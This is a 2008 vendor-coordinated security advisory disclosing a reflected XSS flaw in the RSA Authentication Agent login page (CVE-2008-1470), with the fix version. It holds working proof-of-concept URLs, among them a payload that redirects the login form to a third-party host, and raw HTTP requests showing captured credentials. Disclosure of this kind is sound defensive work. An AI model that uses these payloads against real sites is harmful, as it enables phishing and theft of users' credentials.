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Vulnerabilities 2008


PR07-44 XSS on RSA Authentication Agent login page


  • Advisory publicly released: Wednesday, 23 April 2008
  • Vulnerability found: Wednesday, 5 December 2007
  • Vendor informed: Thursday, 13 December 2007
  • Severity level: Medium/High
  • Credits
    Found by Jan Fry and Adrian Pastor - ProCheckUp Ltd (www.procheckup.com). ProCheckUp thanks RSA for being so cooperative and responding so fast.
  • Description
    RSA Authentication Agent is vulnerable to a vanilla XSS on the login page.

    Vulnerable server-side program: '/WebID/IISWebAgentIF.dll'

    Unfiltered parameter: 'postdata'
  • Proof of concept
    Simple XSS Proof of Concept (PoC) URLs:

    https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22&authntype=2&username=test&passcode=test

    https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22

    The injected payload in the previous examples is: "><script>alert("XSS")</script><a b="

    The following specially-crafted URL performs an advanced XSS phishing attack. After the victim enters his/her username and passcode, the credentials are forwarded to a third-party site (procheckup.com in this case) and logged by the attacker:

    https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Edocument.forms[0].action=%22http://procheckup.com?%22%3C/script%3E%3Ca%20b=%22&authntype=2&username=anyvaluehere&passcode=anyvaluehere

    https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Edocument.forms[0].action=%22http://procheckup.com?%22%3C/script%3E%3Ca%20b=%22

    The injected payload in the previous examples is:
    "><script>document.forms[0].action="http://procheckup.com?"</script><a b="
  • How to fix
    The vendor has stated that this issue was addressed in the RSA Authentication Agent 5.3.3.378. RSA customers can download the upgrade from the RSA web site.
  • Consequences
    An attacker may be able to cause execution of malicious scripting code in the browser of a victim user who clicks on a link to a RSA Authentication Agent login page. Such code would run within the context of the target domain.

    This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs or passwords) to unauthorised third parties.
  • Notes
    It is believed that this vulnerability was originally reported in 2005 (BID 13168). However, In the original report, only version 5.2 of the Authentication Agent was mentioned to be vulnerable. Additionally, nothing was said regarding the possibility of exploiting this XSS as a GET request (as opposed to POST). Therefore, the vulnerability can be exploited via a malicious URL, since visiting a URL results in the web browser submitting a GET request. Since the XSS condition occurs on the login page, the bug is highly suitable for advanced XSS phishing attacks as illustrated in the proof of concept below. Please note that this is issue is different from CAN-2003-0389 and CVE-2005-3329.
  • CVE reference
    CVE-2008-1470
  • BID
    28277
  • Successfully tested on
    RSA Authentication Agent 5.3.0.258 for Web for Internet Information Services
  • COMPLETE ATTACK WALK-THROUGH FOR XSS PHISHING ATTACK:
    Step 1: Victim is tricked to click on the specially-crafted URL:

    HTTP Request:

    GET /WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=
    %22%3E%3Cscript%3Edocument.forms[0].action=%22http: //procheckup.com?%22%3C/script%3E%3Ca%20b=%22 HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Accept-Language: en-gb
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)
    Host: target-domain.foo
    Connection: Keep-Alive

    Step 2: Victim fills in 'User ID' and 'Passcode' fields and clicks on "Log In":

    HTTP request - notice the victim's username and passcode are submitted to a third-party site (procheckup.com in this case):

    POST http: //procheckup.com/? HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Accept-Language: en-gb
    Content-Type: application/x-www-form-urlencoded
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)
    Host: procheckup.com
    Content-Length: 116
    Proxy-Connection: Keep-Alive
    Pragma: no-cache
    Cookie: __utma=105825218.1973702853.1197971766.1197981134.1197988777.4; __utmz=105825218.1197971766.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=105825218

    stage=useridandpasscode&referrer=%2F&sessionid=0&postdata=&authntype=2&username=MYUSERNAME&passcode=MYSECRETPASSWORD
  • References


    http://www.procheckup.com/research/views/vulnerabilities


    http://www.rsa.com/node.aspx?id=2807


  • Legal
    Copyright 2008 Procheckup Ltd. All rights reserved.

    Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.